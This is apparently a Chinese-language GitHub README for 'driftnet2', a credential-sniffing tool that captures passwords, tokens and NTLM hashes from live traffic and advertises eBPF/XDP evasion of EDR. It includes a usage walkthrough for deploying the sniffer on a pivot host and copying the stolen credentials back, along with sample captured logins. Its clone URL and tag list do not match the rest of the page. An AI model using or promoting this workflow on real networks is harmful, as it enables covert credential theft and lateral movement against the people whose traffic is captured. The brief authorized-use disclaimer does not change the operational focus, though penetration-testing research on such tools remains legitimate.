jankesec/driftnet2
GitHub: jankesec/driftnet2
一款内核级网络嗅探工具,通过 eBPF/XDP 或 libpcap 从实时流量与离线 PCAP 中提取多种协议的凭证并检测 DNS 隧道。
Stars: 0 | Forks: 0
# Driftnet2
**内核级网络嗅探与凭证提取器 — 支持 8 种协议,具备 eBPF XDP 隐身能力,零 EDR 痕迹。**
[](https://go.dev)
[](LICENSE)
[]()
[](https://ebpf.io)
Driftnet2 可以从实时网络流量中静默提取凭证、session token 和 NTLM 哈希。它在两个层面运行:Linux 上的 **eBPF/XDP 内核钩子**(对 EDR/XDR 不可见),以及 macOS/BSD 上的 **AF_PACKET/libpcap**。它能够解析 8 种协议 —— HTTP、DNS、SMB、LDAP、FTP、Telnet、POP3/IMAP、SMTP —— 并实时检测 DNS 隧道。
## 架构
```
┌──────────────────┐
│ NETWORK CARD │
└────────┬─────────┘
│
┌────────────▼────────────┐
│ eBPF XDP Hook (kernel)│ kernel-level, EDR-invisible
│ filter → ring buffer │
└────────────┬────────────┘
│ perf ring buffer
┌────────────▼────────────┐
│ Go Userspace │
│ ┌──────────────────┐ │
│ │ Protocol Parsers│ │
│ │ HTTP/DNS/SMB/LDAP│ │
│ │ FTP/Telnet/POP3 │ │
│ │ IMAP/SMTP │ │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ Credential Regex │ │
│ └────────┬─────────┘ │
│ ▼ │
│ ┌──────────────────┐ │
│ │ TUI / JSON / PCAP│ │
│ └──────────────────┘ │
└─────────────────────────┘
```
## 提取的凭证
| # | 协议 | 端口 | 凭证类型 | 示例 |
|---|----------|------|----------------|---------|
| 1 | **HTTP** | 80,443 | Basic Auth, POST 表单, Bearer, Cookie | `admin:Spring2026!` |
| 2 | **DNS** | 53 | 隧道检测(长子域名,高熵值) | `payload.c2.example.com` |
| 3 | **SMB** | 445 | NTLMv2 哈希(用户、域、hashcat 格式) | `DOMAIN\admin::hash` |
| 4 | **LDAP** | 389 | 简单绑定 (`cn=admin:password`) | `cn=admin,dc=corp:pass` |
| 5 | **FTP** | 21 | USER/PASS 命令 | `ftpadmin:ftppass` |
| 6 | **Telnet** | 23 | 登录提示符 | `root:cisco123` |
| 7 | **POP3** | 110 | USER/PASS 认证 | `user@corp.com:pass` |
| 8 | **IMAP** | 143 | LOGIN 命令 | `user@corp.com:pass` |
| 9 | **SMTP** | 25,587 | AUTH LOGIN/PLAIN | `user@corp.com:pass` |
## 快速开始
```
git clone https://github.com/byjanke/driftnet2 && cd driftnet2
go build -o driftnet2 ./cmd/driftnet2
```
**实时嗅探 — 仅 HTTP 凭证:**
```
./driftnet2 -iface en0 --proto http
```
**所有协议,保存为 JSON + PCAP:**
```
./driftnet2 -iface eth0 -w capture.pcap -output creds.json
```
**离线 PCAP 分析:**
```
./driftnet2 -pcap dump.pcap --proto http,dns,ftp
```
**Linux eBPF/XDP 模式(需要 root 权限,内核 5.8+):**
```
make bpf # compile eBPF (needs clang)
sudo ./driftnet2 -iface eth0 # auto-detects XDP
```
## 红队场景
**捕获内部网络上的明文协议:**
```
# FTP、Telnet、POP3 在 corp 网络中通常为明文
./driftnet2 -iface eth1 --proto ftp,telnet,pop3,smtp -w internal.pcap
```
```
[14:32:15] FTP 10.0.0.5 → 10.0.1.100:21
ftpadmin:Spring2026!
[14:32:22] Telnet 10.0.0.12 → 192.168.1.1:23
root:cisco123
```
**嗅探域控流量以获取 NTLM 哈希:**
```
./driftnet2 -iface eth0 --proto smb,ldap -output hashes.json
```
```
[14:33:45] SMB 10.0.0.42 → 10.0.0.1:445
CORP\jsmith::a1b2c3d4...
```
**部署在跳板机上,收集凭证并进行数据外发:**
```
scp driftnet2 user@pivot:/tmp/driftnet2
ssh user@pivot "sudo /tmp/driftnet2 -iface eth1 -output /tmp/creds.json &"
sleep 300 # 5 minutes
scp user@pivot:/tmp/creds.json .
```
**DNS 隧道猎手 — 检测隐藏在 DNS 查询中的 C2:**
```
./driftnet2 -iface eth0 --proto dns -v
```
```
[14:35:10] DNS 10.0.0.15 → 8.8.8.8:53
TUNNEL: AQIDBAUG.c2.example.com (TXT)
```
## 对比
| | driftnet2 | bettercap | net-creds | pcredz | tshark |
|---|:---:|:---:|:---:|:---:|:---:|
| eBPF/XDP 内核嗅探 | ✓ | — | — | — | — |
| EDR 不可见 | ✓ | — | — | — | — |
| HTTP Basic + POST + Bearer + Cookie | ✓ | 仅 basic | ✓ | — | 手动 |
| SMB NTLM (hashcat 格式) | ✓ | — | — | — | 手动 |
| DNS 隧道检测 | ✓ | — | — | — | — |
| FTP / Telnet / POP3 / IMAP / SMTP | ✓ | — | — | — | 手动 |
| 离线 PCAP 分析 | ✓ | — | ✓ | ✓ | ✓ |
| 实时 PCAP 写入 | ✓ | ✓ | — | — | ✓ |
| JSON 导出 | ✓ | ✓ | — | — | — |
| 终端仪表盘 | ✓ | ✓ | — | — | — |
| 单一二进制文件(无需 Python/Ruby) | ✓ 5MB | ✓ 15MB | — | — | ✓ |
| 跨平台 (Linux/macOS/BSD) | ✓ | ✓ | ✓ | — | ✓ |
| 持续维护 | 2026 | ✓ | 2014 | 2015 | ✓ |
## 项目结构
```
driftnet2/
├── bpf/xdp_sniff.c eBPF XDP C program (130 LoC)
├── cmd/driftnet2/main.go CLI entry point
├── pkg/
│ ├── ebpf/loader.go cilium/ebpf loader + ring buffer
│ ├── sniffer/
│ │ ├── sniffer.go pcap live + offline reader
│ │ ├── xdp.go XDP wrapper (unified interface)
│ │ └── writer.go PCAP file writer
│ ├── protocol/protocol.go 8 protocol parsers
│ └── output/
│ ├── tui.go Terminal dashboard
│ └── json.go JSON export
├── Makefile
└── README.md
```
## 免责声明
仅供**授权的渗透测试、红队评估和安全研究**使用。未经明确授权捕获网络流量是违法行为。
## License
MIT
标签:Docker镜像, eBPF/XDP, EVTX分析, 凭据提取, 日志审计, 网络嗅探, 网络安全, 防御绕过, 隐私保护